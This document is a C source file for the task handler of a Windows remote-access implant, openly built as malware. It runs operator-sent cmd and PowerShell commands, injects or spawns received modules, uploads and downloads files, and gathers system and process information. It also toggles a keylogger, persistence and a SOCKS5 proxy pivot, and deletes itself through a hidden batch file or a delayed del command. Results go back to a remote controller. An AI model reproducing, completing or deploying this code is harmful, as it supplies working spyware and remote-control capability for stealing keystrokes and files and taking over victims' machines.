316 lines
10 KiB
C
316 lines
10 KiB
C
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
#include "config.h"
|
|
|
|
size_t STD_BUFF = 1024;
|
|
size_t BIG_BUFF = 8192;
|
|
|
|
DWORD WINAPI StartKeylogger(void);
|
|
DWORD WINAPI StartKeylogTimer(LPVOID lpParam);
|
|
|
|
void SendTaskResult(Transport* transport, char* task_type, char* result) {
|
|
printf("Trying to send task result\n");
|
|
|
|
// Use a local variable for task_type if it's empty
|
|
char* actual_task_type = task_type;
|
|
char default_type[] = "TASKRESULT";
|
|
|
|
// Check if task_type is an empty string
|
|
if (strcmp(task_type, "") == 0) {
|
|
actual_task_type = default_type;
|
|
}
|
|
printf("Task type %s\n", actual_task_type);
|
|
|
|
size_t task_len = strlen(actual_task_type);
|
|
size_t agentID_len = strlen(agentID);
|
|
size_t result_len = strlen(result);
|
|
|
|
// Calculate total message size needed (+3 for two '~' separators and null terminator)
|
|
size_t buffer_size = agentID_len + task_len + result_len + 3;
|
|
|
|
// Allocate buffer dynamically
|
|
char* message = (char*)malloc(buffer_size);
|
|
if (message == NULL) {
|
|
printf("Memory allocation failed\n");
|
|
return;
|
|
}
|
|
|
|
// Format the message
|
|
snprintf(message, buffer_size, "%s~%s~%s", agentID, actual_task_type, result);
|
|
printf("Sending formatted message (length: %zu)\n", strlen(message));
|
|
printf("Message: %s", message);
|
|
|
|
// Send the message
|
|
if (transport->send(transport->handle, message, strlen(message)) <= 0) {
|
|
printf("Error sending task result.\n");
|
|
}
|
|
|
|
// Free the allocated memory
|
|
memset(message, 0, buffer_size);
|
|
free(message);
|
|
}
|
|
|
|
void ChangeSleepTime(char* result, char* sleep_time_str) {
|
|
int new_delay = atoi(sleep_time_str);
|
|
reconnectDelay = new_delay * 1000;
|
|
snprintf(result, sizeof(result), "Sleep time updated to %d seconds\n", new_delay);
|
|
}
|
|
|
|
void ExecuteShell(char* result, char* command, char* type) {
|
|
char full_command[STD_BUFF];
|
|
if (strcmp(type, "cmd") == 0) {
|
|
snprintf(full_command, sizeof(full_command), "%s 2>&1", command);
|
|
} else if (strcmp(type, "ps") == 0) {
|
|
snprintf(full_command, sizeof(full_command), "powershell -Command \"%s\" 2>&1", command);
|
|
} else {
|
|
strncpy(result, "Invalid command type", STD_BUFF - 1);
|
|
result[STD_BUFF - 1] = '\0';
|
|
return;
|
|
}
|
|
|
|
FILE* pipe = _popen(full_command, "r");
|
|
if (!pipe) {
|
|
strncpy(result, "Failed to execute command", STD_BUFF - 1);
|
|
result[STD_BUFF - 1] = '\0';
|
|
return;
|
|
}
|
|
|
|
char buffer[512];
|
|
size_t current_size = 0;
|
|
|
|
// Clear the result buffer
|
|
result[0] = '\0';
|
|
|
|
while (fgets(buffer, sizeof(buffer), pipe) && current_size < STD_BUFF - 1) {
|
|
size_t chunk_size = strlen(buffer);
|
|
|
|
// Check if we have enough space left in the result buffer
|
|
if (current_size + chunk_size >= STD_BUFF) {
|
|
chunk_size = STD_BUFF - current_size - 1;
|
|
}
|
|
|
|
// Copy the chunk into the result buffer
|
|
memcpy(result + current_size, buffer, chunk_size);
|
|
current_size += chunk_size;
|
|
result[current_size] = '\0';
|
|
}
|
|
_pclose(pipe);
|
|
|
|
if (current_size == 0) {
|
|
strncpy(result, "Command executed but no output", STD_BUFF - 1);
|
|
result[STD_BUFF - 1] = '\0';
|
|
}
|
|
}
|
|
|
|
void SendSysInfo(char* result) {
|
|
char osVersion[128] = {0};
|
|
char architecture[128] = {0};
|
|
char hostname[128] = {0};
|
|
char username[128] = {0};
|
|
char localIP[128] = {0};
|
|
char procname[128] = {0};
|
|
unsigned long pid = 0;
|
|
|
|
CollectSystemInfo(osVersion, architecture, hostname, username, localIP, procname, &pid);
|
|
|
|
char systemInfo[STD_BUFF];
|
|
snprintf(systemInfo, sizeof(systemInfo),
|
|
"%s|%s|%s|%s|%s|%s|%lu", osVersion, architecture, hostname, username, localIP, procname, pid);
|
|
|
|
// printf("Sysinfo string: %s\n", systemInfo);
|
|
|
|
strcpy(result, systemInfo);
|
|
// printf("Result: %s", result);
|
|
|
|
// transport->send(transport->handle, systemInfo, strlen(systemInfo));
|
|
// printf("System info sent to the server\n");
|
|
// ReceiveResponse(transport);
|
|
}
|
|
|
|
#if ENABLE_KEYLOGGER
|
|
void InitKeylogger(char* result) {
|
|
printf("\n[KEYLOGGER] Starting keylogger...\n");
|
|
hKeylogThread = CreateThread(0, 0, StartKeylogger, 0, 0, 0);
|
|
if (hKeylogThread == NULL) {
|
|
printf("\n[KEYLOGGER] Failed to create initialization thread.\n");
|
|
}
|
|
hKeylogTimerThread = CreateThread(0, 0, StartKeylogTimer, 0, 0, 0);
|
|
if (hKeylogTimerThread == NULL) {
|
|
printf("\n[KEYLOGGER] Failed to create keylog timer thread.\n");
|
|
}
|
|
sprintf(result, "Keylogger initialized!\n");
|
|
}
|
|
#endif
|
|
|
|
#if CLEANUP_METHOD
|
|
void Cleanup(char* result) {
|
|
#if ENABLE_PERSISTENCE
|
|
RemovePersistence(result);
|
|
#endif
|
|
char filename[MAX_PATH];
|
|
char batfile[MAX_PATH];
|
|
GetModuleFileName(NULL, filename, MAX_PATH);
|
|
GetTempPath(MAX_PATH, batfile);
|
|
strcat(batfile, "cleanup.bat");
|
|
|
|
FILE* fp = fopen(batfile, "w");
|
|
if (fp) {
|
|
fprintf(fp, "@echo off\n");
|
|
fprintf(fp, "timeout /t 1 /nobreak > nul\n");
|
|
fprintf(fp, "del \"%s\"\n", filename);
|
|
fprintf(fp, "del \"%s\"\n", batfile);
|
|
fclose(fp);
|
|
printf("Cleaning up...\n");
|
|
ShellExecute(NULL, "open", batfile, NULL, NULL, SW_HIDE);
|
|
}
|
|
// exit(0);
|
|
}
|
|
#else
|
|
void Cleanup(char* result) {
|
|
#if ENABLE_PERSISTENCE
|
|
RemovePersistence(result);
|
|
#endif
|
|
char exePath[MAX_PATH];
|
|
char cmd[MAX_PATH + 50];
|
|
if (GetModuleFileName(NULL, exePath, MAX_PATH) == 0) {
|
|
printf("Failed to get executable path.\n");
|
|
return;
|
|
}
|
|
snprintf(cmd, sizeof(cmd), "cmd /c ping 8.8.8.8 -n 3 > nul && del \"%s\"", exePath);
|
|
STARTUPINFO si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
if (CreateProcess(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
}
|
|
// ExitProcess(0);
|
|
}
|
|
#endif
|
|
|
|
// Differentiate between tasks
|
|
void HandleTask(Transport* transport, char* taskID, char* task_type, char* task_args) {
|
|
char result[STD_BUFF];
|
|
|
|
if (strcmp(task_type, "sleep") == 0) {
|
|
ChangeSleepTime(result, task_args);
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
else if (strcmp(task_type, "cmd") == 0) {
|
|
ExecuteShell(result, task_args, "cmd");
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
else if (strcmp(task_type, "powershell") == 0) {
|
|
ExecuteShell(result, task_args, "ps");
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
else if (strcmp(task_type, "runexe") == 0 || strcmp(task_type, "rundll") == 0) {
|
|
ReceiveModule(result, transport, task_type, task_args);
|
|
}
|
|
else if (strcmp(task_type, "inject") == 0 || strcmp(task_type, "spawn") == 0) {
|
|
ReceiveModule(result, transport, task_type, task_args);
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
else if (strcmp(task_type, "files") == 0) {
|
|
SendFiles(transport, NULL, 0);
|
|
}
|
|
else if (strcmp(task_type, "sysinfo") == 0) {
|
|
SendSysInfo(result);
|
|
SendTaskResult(transport, "SYSINFO", result);
|
|
}
|
|
else if (strcmp(task_type, "cd") == 0) {
|
|
HandleDirectoryCommand(result, "cd", task_args);
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
else if (strcmp(task_type, "pwd") == 0) {
|
|
HandleDirectoryCommand(result, "pwd", task_args);
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
else if (strcmp(task_type, "ls") == 0 || strcmp(task_type, "dir") == 0) {
|
|
HandleDirectoryCommand(result, task_type, task_args);
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
|
|
else if (strcmp(task_type, "ps") == 0) {
|
|
printf("Server requested process list\n");
|
|
char ps_result[BIG_BUFF];
|
|
|
|
GetProcessList(ps_result, BIG_BUFF);
|
|
SendTaskResult(transport, "PROCESS", ps_result);
|
|
memset(ps_result, 0, BIG_BUFF);
|
|
}
|
|
|
|
else if (strcmp(task_type, "keylogger") == 0) {
|
|
#if ENABLE_KEYLOGGER
|
|
if (strncmp(task_args, "start", 5) == 0) {
|
|
InitKeylogger(result);
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
else if (strncmp(task_args, "stop", 4) == 0) {
|
|
StopKeylogger(result);
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
#else
|
|
SendTaskResult(transport, "", "Keylogger module wasn't included\n");
|
|
#endif
|
|
}
|
|
|
|
else if (strcmp(task_type, "persistence") == 0) {
|
|
#if ENABLE_PERSISTENCE
|
|
if (strncmp(task_args, "add", 3) == 0) {
|
|
CheckPersistence(result);
|
|
SendTaskResult(transport, "", result);
|
|
} else if (strncmp(task_args, "remove", 6) == 0) {
|
|
RemovePersistence(result);
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
#else
|
|
SendTaskResult(transport, "", "Persistence module wasn't included\n");
|
|
#endif
|
|
}
|
|
else if (strcmp(task_type, "download") == 0) {
|
|
SendFiles(transport, &task_args, 1);
|
|
}
|
|
else if (strcmp(task_type, "upload") == 0) {
|
|
UploadFile(result, transport, task_args);
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
|
|
else if (strcmp(task_type, "proxy") == 0) {
|
|
#if ENABLE_PROXY
|
|
if (strcmp(task_args, "start") == 0) {
|
|
printf("Trying to start proxy suit\n");
|
|
|
|
InitSocks5_Server(result, 30889);
|
|
StartProxyAgent(result + strlen(result), GetNextDomain(), 30889, "127.0.0.1", 30889);
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
else if (strncmp(task_args, "stop", 6) == 0) {
|
|
printf("Trying to stop proxy\n");
|
|
|
|
StopSocks5_Server(result);
|
|
StopProxyAgent(result + strlen(result));
|
|
SendTaskResult(transport, "", result);
|
|
}
|
|
#else
|
|
SendTaskResult(transport, "", "Proxy module wasn't included\n");
|
|
#endif
|
|
}
|
|
|
|
else if (strcmp(task_type, "kill") == 0) {
|
|
SendTaskResult(transport, "", "Why you did this to me...");
|
|
exit(0);
|
|
}
|
|
else if (strcmp(task_type, "cleanup") == 0) {
|
|
Cleanup(result);
|
|
SendTaskResult(transport, "", "Cleaned up. Bye bye!");
|
|
exit(0);
|
|
}
|
|
else {
|
|
printf("Unknown command: %s\n", task_type);
|
|
SendTaskResult(transport, "", "Unknown command type\n");
|
|
}
|
|
|
|
memset(result, 0, STD_BUFF);
|
|
} |